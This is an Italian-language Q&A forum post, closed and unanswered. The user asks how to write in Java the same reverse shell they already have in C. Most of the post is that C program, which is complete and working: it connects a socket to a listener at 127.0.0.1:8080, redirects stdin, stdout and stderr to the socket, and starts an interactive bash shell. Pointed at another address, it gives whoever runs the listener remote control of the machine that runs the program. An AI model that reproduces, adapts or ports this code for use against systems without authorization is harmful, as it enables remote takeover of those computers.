Simple Reverse-Shell-Script in java? [chiuso]

1

Ho uno script semplice ( scritto in C ) e si connette a un server netcat per aprire una shell, lì, quindi, uno script di shell rovesciamento davvero semplice. Come fare lo stesso in java ?

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {

 int sock = socket(AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in serv_addr;
 serv_addr.sin_family = AF_INET;
 serv_addr.sin_port = htons(8080);
 serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
 if(0 != connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)))
    exit(0);
 dup2(sock, 2);
 dup2(sock, 1);
 dup2(sock, 0);

 execl("/bin/bash", "/bin/bash", "-i", NULL);
}
    
posta user126623 08.08.2016 - 20:17
fonte

0 risposte

Leggi altre domande sui tag